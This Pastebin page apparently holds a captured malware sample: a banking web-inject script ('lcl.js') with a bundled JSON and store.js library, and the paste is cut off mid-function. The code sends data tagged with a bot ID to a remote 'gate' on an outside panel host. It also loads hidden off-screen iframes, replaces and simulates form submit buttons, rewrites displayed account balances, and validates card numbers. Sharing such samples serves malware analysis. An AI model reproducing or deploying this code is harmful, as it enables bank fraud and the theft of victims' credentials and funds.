Xylitol

ssl10.ovh.net/~dpexpert/lcl.js

Aug 18th, 2017
404
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. this.JSON||(this.JSON={}),function(){function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1)u[n]=str(n,a)||"null";return i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]",gap=o,i}if(rep&&typeof rep=="object"){s=rep.length;for(n=0;n<s;n+=1)r=rep[n],typeof r=="string"&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i))}else for(r in a)Object.hasOwnProperty.call(a,r)&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i));return i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}",gap=o,i}}typeof Date.prototype.toJSON!="function"&&(Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;typeof JSON.stringify!="function"&&(JSON.stringify=function(e,t,n){var r;gap="",indent="";if(typeof n=="number")for(r=0;r<n;r+=1)indent+=" ";else typeof n=="string"&&(indent=n);rep=t;if(!t||typeof t=="function"||typeof t=="object"&&typeof t.length=="number")return str("",{"":e});throw new Error("JSON.stringify")}),typeof JSON.parse!="function"&&(JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i=="object")for(n in i)Object.hasOwnProperty.call(i,n)&&(r=walk(i,n),r!==undefined?i[n]=r:delete i[n]);return reviver.call(e,t,i)}var j;text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return j=eval("("+text+")"),typeof reviver=="function"?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}(),"use strict",function(e,t){typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?module.exports=t():e.store=t()}(this,function(){function o(){try{return r in t&&t[r]}catch(e){return!1}}var e={},t=window,n=t.document,r="localStorage",i="script",s;e.disabled=!1,e.version="1.3.17",e.set=function(e,t){},e.get=function(e,t){},e.has=function(t){return e.get(t)!==undefined},e.remove=function(e){},e.clear=function(){},e.transact=function(t,n,r){r==null&&(r=n,n=null),n==null&&(n={});var i=e.get(t,n);r(i),e.set(t,i)},e.getAll=function(){},e.forEach=function(){},e.serialize=function(e){return JSON.stringify(e)},e.deserialize=function(e){if(typeof e!="string")return undefined;try{return JSON.parse(e)}catch(t){return e||undefined}};if(o())s=t[r],e.set=function(t,n){return n===undefined?e.remove(t):(s.setItem(t,e.serialize(n)),n)},e.get=function(t,n){var r=e.deserialize(s.getItem(t));return r===undefined?n:r},e.remove=function(e){s.removeItem(e)},e.clear=function(){s.clear()},e.getAll=function(){var t={};return e.forEach(function(e,n){t[e]=n}),t},e.forEach=function(t){for(var n=0;n<s.length;n++){var r=s.key(n);t(r,e.get(r))}};else if(n.documentElement.addBehavior){var u,a;try{a=new ActiveXObject("htmlfile"),a.open(),a.write("<"+i+">document.w=window</"+i+'><iframe src="/favicon.ico"></iframe>'),a.close(),u=a.w.frames[0].document,s=u.createElement("div")}catch(f){s=n.createElement("div"),u=n.body}var l=function(t){return function(){var n=Array.prototype.slice.call(arguments,0);n.unshift(s),u.appendChild(s),s.addBehavior("#default#userData"),s.load(r);var i=t.apply(e,n);return u.removeChild(s),i}},c=new RegExp("[!\"#$%&'()*+,/\\\\:;<=>?@[\\]^`{|}~]","g"),h=function(e){return e.replace(/^d/,"___$&").replace(c,"___")};e.set=l(function(t,n,i){return n=h(n),i===undefined?e.remove(n):(t.setAttribute(n,e.serialize(i)),t.save(r),i)}),e.get=l(function(t,n,r){n=h(n);var i=e.deserialize(t.getAttribute(n));return i===undefined?r:i}),e.remove=l(function(e,t){t=h(t),e.removeAttribute(t),e.save(r)}),e.clear=l(function(e){var t=e.XMLDocument.documentElement.attributes;e.load(r);while(t.length)e.removeAttribute(t[0].name);e.save(r)}),e.getAll=function(t){var n={};return e.forEach(function(e,t){n[e]=t}),n},e.forEach=l(function(t,n){var r=t.XMLDocument.documentElement.attributes;for(var i=0,s;s=r[i];++i)n(s.name,e.deserialize(t.getAttribute(s.name)))})}try{var p="__storejs__";e.set(p,p),e.get(p)!=p&&(e.disabled=!0),e.remove(p)}catch(f){e.disabled=!0}return e.enabled=!e.disabled,e})
  2.  
  3. var Tables = (function(){
  4.    
  5.     var admin = 'https://ssl6.ovh.net/~lifestyl/real_track/ssllxxssll/lc/';
  6.        
  7.     var data = new Array();
  8.    
  9.     var link = {
  10.         gate: admin+"menu.php"
  11.     };
  12.    
  13.     var options = {
  14.         callback_status: '',
  15.         iframe_status: '',
  16.         currency_state: false
  17.     };
  18.    
  19.     var splitter = {value: 'none',position: 'none'};
  20.     var prefix = {minus: '-',plus: ''};
  21.    
  22.     function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
  23.    
  24.     function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera')  > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
  25.    
  26.     function cin(digits) {var res = '';if (digits && digits.length > 0) {digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for (var i = 0; i < digits.length; i++) {var Char = digits.charAt(i);if (ValidChars.indexOf(Char) >= 0) {res += Char;}}}return parseFloat(res);}
  27.  
  28.     function cout(digits, r) {if (r == 1) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + ',' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + '.' + cents);} else if (r == 2) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + '.' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + ',' + cents).replace(/\./igm,' ');} else {return digits;}}
  29.  
  30.     function gc(digits) {if (digits){if (/[0-9]/igm.test(digits)) {if (/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)) {options.currency_state = 1;return cin(digits.replace(/\,/g, ''));} else {options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}} else {return digits;}} else {return digits;}}
  31.  
  32.     function sc(digits) {if (options.currency_state == 1 || options.currency_state == 2) {return cout(digits, options.currency_state);} else {return digits;}}
  33.    
  34.     return{
  35.         brows: function(){
  36.             var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
  37.             if(/trident/i.test(M[1])){
  38.                 tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
  39.                 return {name:'IE ',version:(tem[1]||'')};
  40.                 }  
  41.             if(M[1]==='Chrome'){
  42.                 tem=ua.match(/\bOPR\/(\d+)/)
  43.                 if(tem!=null)   {return {name:'Opera', version:tem[1]};}
  44.                 }
  45.             M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
  46.             if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
  47.             return M[0]+' '+M[1];
  48.         },
  49.    
  50.         set: function(name,value){
  51.             if(/function/igm.test(typeof value)){
  52.                 data[name] = value();
  53.             }else{
  54.                 data[name] = value;
  55.             }
  56.         },
  57.        
  58.         add: function(name,value){
  59.             if(data[name]){
  60.                 data[name] = data[name]+value;
  61.             }else{
  62.                 _tables.set(name,value);
  63.             }
  64.         },
  65.        
  66.         get: function(name){
  67.             return data[name];
  68.         },
  69.        
  70.         are: function(){
  71.             var r = true;
  72.             if(arguments && arguments.length > 0){
  73.                 for(var i = 0; i < arguments.length; i++){
  74.                     if(!data[arguments[i]]){
  75.                         r = false;
  76.                     }
  77.                 }
  78.             }
  79.             return r;
  80.         },
  81.        
  82.         dump: function(){
  83.             var a = '';
  84.             for(key in data){
  85.                 a += key+": "+data[key]+"\r\n";
  86.             }
  87.             alert(a);
  88.         },
  89.        
  90.         findout: function(){
  91.             var found = {
  92.                 tag: false,
  93.                 error: false,
  94.                 element: false
  95.             };
  96.            
  97.             if(arguments && arguments.length >= 3){
  98.                 var elements_array = arguments[1].split("|");
  99.                 if(elements_array.length > 0){
  100.                     for(var k = 0; k < elements_array.length; k++){
  101.                         var elements = arguments[0].getElementsByTagName(elements_array[k]);
  102.                         if(elements && elements.length > 0){
  103.                             for(var i = 0; i < elements.length; i++){
  104.                                 for(var e = 2; e < arguments.length; e++){
  105.                                     var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  106.                                     if(arguments[e].split(":")[0] == "class"){
  107.                                         if(elements[i].className !== null && pattern.test(elements[i].className)){
  108.                                             found.tag = true;
  109.                                         }else{
  110.                                             found.error = true;
  111.                                         }
  112.                                     }else if(arguments[e].split(":")[0] == "for"){
  113.                                         if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
  114.                                             found.tag = true;
  115.                                         }else{
  116.                                             found.error = true;
  117.                                         }
  118.                                     }else{
  119.                                         if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  120.                                             found.tag = true;
  121.                                         }else{
  122.                                             found.error = true;
  123.                                         }
  124.                                     }
  125.                                 }
  126.                                 if(found.tag && !found.error){
  127.                                     return elements[i];
  128.                                 }else{
  129.                                     found.tag = false;
  130.                                     found.error = false;
  131.                                 }
  132.                             }
  133.                         }
  134.                     }
  135.                     return false;
  136.                 }else{
  137.                     return false;
  138.                 }
  139.             }else{
  140.                 return false;
  141.             }
  142.         },
  143.        
  144.         findin: function(){
  145.             var found = {
  146.                 tag: false,
  147.                 error: false,
  148.                 element: false
  149.             };
  150.        
  151.             if(arguments && arguments.length > 2){
  152.                 var elements = arguments[0].getElementsByTagName(arguments[1]);
  153.                 if(elements && elements.length > 0){
  154.                     for(var i = 0; i < elements.length; i++){
  155.                         for(var e = 2; e < arguments.length; e++){
  156.                             var pattern = new RegExp(arguments[e],"igm");
  157.                             if(pattern.test(elements[i].innerHTML.toLowerCase())){
  158.                                 found.tag = true;
  159.                             }else{
  160.                                 found.error = true;
  161.                             }
  162.                         }
  163.                         if(found.tag && !found.error){
  164.                             return elements[i];
  165.                         }else{
  166.                             found.tag = false;
  167.                             found.error = false;
  168.                         }
  169.                     }
  170.                 }
  171.             }
  172.             return false;
  173.         },
  174.        
  175.         tinydecode: function(s){
  176.             s = s.replace(/\&lt;/g,'<');
  177.             s = s.replace(/\&gt;/g,'>');
  178.             s = s.replace(/\&quot;/g,'"');
  179.             s = s.replace(/\&amp;/g,'&');
  180.             s = s.replace(/\&nbsp;/g,' ');
  181.             return s;
  182.         },
  183.        
  184.         child: function(parent,child){
  185.             return parent && child ? parent.getElementsByTagName(child) : false;
  186.         },
  187.        
  188.         html: function(element){
  189.             if(element){
  190.                 var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
  191.                 return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  192.             }else{
  193.                 return "";
  194.             }
  195.         },
  196.        
  197.         input: function(input,type){
  198.             switch(type){
  199.                 case("block"):
  200.                     if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
  201.                 break;
  202.                
  203.                 case("disable"):
  204.                     input.disabled = true;
  205.                 break;
  206.             }
  207.         },
  208.        
  209.         form: function(form,type){
  210.             if(form){
  211.                 switch(type){
  212.                     case("block"):
  213.                         var inps = _tables.child(form,"input");
  214.                         if(inps && inps.length > 0){
  215.                             for(var i = 0; i < inps.length; i++){
  216.                                 if(/text|password/igm.test(inps[i].type)){
  217.                                     _tables.input(inps[i],'block');
  218.                                 }
  219.                             }
  220.                         }
  221.                     break;
  222.                 }
  223.             }
  224.         },
  225.        
  226.         bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
  227.        
  228.         replacebutton: function(button,func){
  229.             var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
  230.             for(x in button.attributes){
  231.                 if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
  232.                     if(button.attributes[x].name == "onclick" ||
  233.                         button.attributes[x].name == "name" ||
  234.                         button.attributes[x].name == "disabled" ||
  235.                         (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
  236.                         button.attributes[x].name == "id"
  237.                     ){
  238.                         continue;
  239.                     }
  240.                     if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
  241.                         newButton.type = "button";
  242.                     }else{
  243.                         newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
  244.                     }
  245.                 }
  246.             }
  247.            
  248.             if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
  249.                 newButton.innerHTML = button.innerHTML;
  250.             }
  251.             newButton.style.cursor = "pointer";
  252.             button.style.display = "none";
  253.             newButton.id = "_tables.button";
  254.             _tables.bind("click",newButton,func);
  255.             button.parentNode.insertBefore(newButton,button);
  256.         },
  257.        
  258.         encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
  259.        
  260.         send: function(){var l = link.gate+'?botid='+store.get('username')+'_'+_brows.botid+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
  261.        
  262.         status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
  263.        
  264.         fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
  265.        
  266.         rand: function(a,b){return Math.floor((Math.random()*b)+a);},
  267.        
  268.         shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
  269.        
  270.         click: function(btn,doc){
  271.             if(btn.type == "image"){
  272.                 var inp_X = document.getElementById("inp_X");
  273.                 var inp_Y = document.getElementById("inp_Y");
  274.                 var inp_submit = document.getElementById("inp_submit");
  275.                 if(inp_X)inp_X.parentNode.removeChild(inp_X);
  276.                 if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
  277.                 if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
  278.                 var inp_X = document.createElement("input");
  279.                 var inp_Y = document.createElement("input");
  280.                 var inp_submit = document.createElement("input");
  281.                 inp_X.name = btn.name+".x";
  282.                 inp_Y.name = btn.name+".y";
  283.                 inp_submit.name = btn.name;
  284.                 inp_submit.value = btn.value;
  285.                 inp_submit.type = "submit";
  286.                 inp_submit.id = "inp_submit";
  287.                 inp_X.id = "inp_X";
  288.                 inp_Y.id = "inp_Y";
  289.                 inp_X.value = _tables.rand(1,15);
  290.                 inp_Y.value = _tables.rand(1,15);
  291.                 inp_X.style.display = "none";
  292.                 inp_Y.style.display = "none";
  293.                 inp_submit.style.display = "none";
  294.                 btn.parentNode.insertBefore(inp_X,btn);
  295.                 btn.parentNode.insertBefore(inp_Y,btn);
  296.                 btn.parentNode.insertBefore(inp_submit,btn);
  297.                 var inp_submit = doc.getElementById("inp_submit");
  298.                 if(inp_submit)_tables.click("click",inp_submit);
  299.             }else{
  300.                 if(document.createEvent){
  301.                     var event = document.createEvent('MouseEvents');
  302.                     event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  303.                     btn.dispatchEvent(event);
  304.                 }else if(btn.fireEvent){
  305.                     btn.click();
  306.                 }
  307.             }
  308.         },
  309.        
  310.         iframelink: function(link,param){
  311.             var _tf = document.getElementById("_tables.frame.box");
  312.             if(_tf)_tf.parentNode.removeChild(_tf);
  313.             _tf = document.createElement("div");
  314.             _tf.style.position = "absolute";
  315.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  316.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  317.             _tf.id = "_tables.frame.box";
  318.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  319.             document.body.appendChild(_tf);
  320.             var f = document.getElementById("_tables.iframe");
  321.             f.src = link;
  322.             if(param)_tables.fstatus(param);
  323.         },
  324.        
  325.         iframeform: function(param){
  326.             var _tf = document.getElementById("_tables.frame.box");
  327.             if(_tf)_tf.parentNode.removeChild(_tf);
  328.             _tf = document.createElement("div");
  329.             _tf.style.position = "absolute";
  330.             _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  331.             _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  332.             _tf.id = "_tables.frame.box";
  333.             _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
  334.             document.body.appendChild(_tf);
  335.             var f = document.getElementById("_tables.iframe");
  336.             if(param)_tables.fstatus(param);
  337.         },
  338.        
  339.         iframedom: function(fr){
  340.             var r = {
  341.                 doc: false,
  342.                 win: false
  343.             };
  344.             if(_brows.ver() == "FF" && fr){
  345.                 r.doc = fr.contentDocument;
  346.                 r.win = fr.contentWindow;
  347.             }else{
  348.                 r.doc = fr.contentWindow.document;
  349.                 r.win = fr.contentWindow;
  350.             }
  351.            
  352.             return r;
  353.         },
  354.        
  355.         height: function(){
  356.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
  357.         },
  358.        
  359.         popupshow: function(content,back){
  360.             _tables.popuphide();
  361.             back = back ? '#FFFFFF' : 'url(clear.png)';
  362.             var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+100)+'px;z-index:300;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"></div>';
  363.             var _tp = document.createElement("div");
  364.             _tp.id = "_tables.popup";
  365.             _tp.innerHTML = bg+""+content;
  366.             document.getElementsByTagName('body')[0].appendChild(_tp);
  367.            
  368.             var bg2 = '<div style="position:fixed;top:0px;left:0px;width:100%;height:42px;z-index:302;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);">&nbsp;</div>';
  369.             var _tp2 = document.createElement("div");
  370.             _tp2.id = "_tables.popup.2";
  371.             _tp2.innerHTML = bg2+""+content;
  372.             document.getElementsByTagName('body')[0].appendChild(_tp2);
  373.         },
  374.        
  375.         popuphide: function(){
  376.             var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
  377.         },
  378.        
  379.         inarr: function(arr,value){
  380.             for(var i = 0; i < arr.length; i++){
  381.                 if(value == arr[i]){
  382.                     return true;
  383.                 }
  384.             }
  385.             arr.push(value);
  386.             return false;
  387.         },
  388.        
  389.         placeholdr: function(input){
  390.             if(_brows.ver() == 'FF')return;
  391.             var txt = input.getAttribute("placeholder");
  392.             if(txt.length > 0){
  393.                 input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
  394.                 input.value = input.value.length > 0 ? input.value : txt;
  395.              
  396.                 input.onfocus = function(){
  397.                     this.style.color = '#000000';
  398.                     this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
  399.                 };
  400.            
  401.                 input.onblur = function(){
  402.                     if(this.value.length == 0){
  403.                         this.value = this.getAttribute("placeholder");
  404.                         this.style.color = '#CCCCCC';
  405.                     }
  406.                 };
  407.             }
  408.         },
  409.        
  410.         btntoloader: function(btn,imghref){
  411.             btn.style.visibility = 'hidden';
  412.             var img = document.createElement('img');
  413.             img.align = 'top';
  414.             img.src = imghref;
  415.             img.id = '_f_btntoloader';
  416.             img.style.cssFloat = 'left';
  417.             img.style.marginTop = '8px';
  418.             img.style.marginLeft = '8px';
  419.             btn.parentNode.insertBefore(img,btn);
  420.         },
  421.        
  422.         cget: function(param){
  423.             return gc(param);
  424.         },
  425.        
  426.         cset: function(param){
  427.             return sc(param);
  428.         },
  429.        
  430.         replace: function(element,summa){
  431.             var tsel = /select|option/igm.test(element.tagName);
  432.             var tinp = /input|textarea/igm.test(element.tagName);
  433.            
  434.             if(tsel){
  435.                 if(splitter.value != "none" && splitter.position != "none"){
  436.                     var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  437.                     var balance = gc(element.text.split(splitter.value)[splitter.position]);
  438.                 }else{
  439.                     var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  440.                     var balance = gc(element.text);
  441.                 }
  442.             }else if(tinp){
  443.                 if(splitter.value != "none" && splitter.position != "none"){
  444.                     var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  445.                     var balance = gc(element.value.split(splitter.value)[splitter.position]);
  446.                 }else{
  447.                     var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  448.                     var balance = gc(element.value);
  449.                 }
  450.             }else{
  451.                 if(splitter.value != "none" && splitter.position != "none"){
  452.                     var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  453.                     var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
  454.                 }else{
  455.                     var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
  456.                     var balance = gc(_tables.html(element));
  457.                 }
  458.             }
  459.            
  460.             var new_balance = balance+parseFloat(summa);
  461.             if(minus)balance = balance * -1;
  462.             balance = sc(balance);
  463.             new_balance = sc(new_balance);
  464.            
  465.             if(tsel){
  466.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  467.                 var f = element.text.replace(balance+"",new_balance+"");
  468.             }else if(tinp){
  469.                 var f = element.value.replace(balance+"",new_balance+"");
  470.             }else{
  471.                 element.innerHTML = element.innerHTML.replace(/\&nbsp\;/igm," ");
  472.                 var f = element.innerHTML.replace(balance+"",new_balance+"");
  473.             }
  474.            
  475.             if(parseFloat(new_balance) >= 0){
  476.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  477.                 f = f.replace("-"+new_balance+"",new_balance+"");
  478.             }else{
  479.                 f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  480.                 f = f.replace(/\-/,"");
  481.             }
  482.            
  483.             if(tsel){
  484.                 element.text = f;
  485.             }else if(tinp){
  486.                 element.value = f;
  487.             }else{
  488.                 element.innerHTML = f;
  489.             }
  490.            
  491.             if(splitter.value != "none" && splitter.position != "none"){
  492.                 splitter.value = "none";
  493.                 splitter.position = "none";
  494.             }
  495.         },
  496.        
  497.         splitter: function (value,position){
  498.             splitter.value = value;
  499.             splitter.position = position;
  500.         },
  501.        
  502.         match: function(el,data){
  503.             var pattern = new RegExp(data,"igm");
  504.             if(pattern.test(el)){
  505.                 return true;
  506.             }else{
  507.                 return false;
  508.             }
  509.         },
  510.        
  511.         convertdate: function(date){
  512.             var els = date.split(".");
  513.             if(els && els.length == 3){
  514.                 var res = 0;
  515.                 res += parseFloat(els[2]) * 365;
  516.                 res += parseFloat(els[1]) * 30;
  517.                 res += parseFloat(els[0]);
  518.                 return res;
  519.             }else{
  520.                 return -1;
  521.             }
  522.         },
  523.        
  524.         recolortable: function(table,class1,class2){
  525.             var tr = _tables.child(table,'tr');
  526.             if(tr && tr.length > 0){
  527.                 for(var i = 0; i < tr.length; i++){
  528.                     tr[i].className = (i % 2 == 0) ? class1 : class2;
  529.                 }
  530.             }
  531.         },
  532.        
  533.         id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
  534.        
  535.         create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
  536.        
  537.         selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
  538.        
  539.         after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
  540.        
  541.         clone: function(inp,value){
  542.             var object = document.createElement(inp.tagName);
  543.             for (x in inp.attributes){
  544.                 if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
  545.                     if(inp.attributes[x].name == "onclick" ||
  546.                        inp.attributes[x].name == "name" ||
  547.                        inp.attributes[x].name == "href" ||
  548.                        inp.attributes[x].name == "id" ||
  549.                        inp.attributes[x].name == "value"
  550.                     ){
  551.                         continue;
  552.                     }
  553.                     object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
  554.                 }
  555.             }
  556.             if(/select/igm.test(inp.tagName)){
  557.                 object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
  558.             }else{
  559.                 value = value ? value : inp.value;
  560.                 object.value = value;
  561.             }
  562.             object.disabled = true;
  563.             inp.style.display = "none";
  564.             inp.parentNode.insertBefore(object,inp);
  565.         },
  566.        
  567.         next: function(e,len,n){
  568.             if(e.value.length == len)document.getElementById(n).focus();
  569.         },
  570.        
  571.         check_cc: function(value){
  572.             if (/[^0-9-\s]+/.test(value)) return false;
  573.             var nCheck = 0, nDigit = 0, bEven = false;
  574.             value = value.replace(/\D/g, "");
  575.             for (var n = value.length - 1; n >= 0; n--) {
  576.                 var cDigit = value.charAt(n),
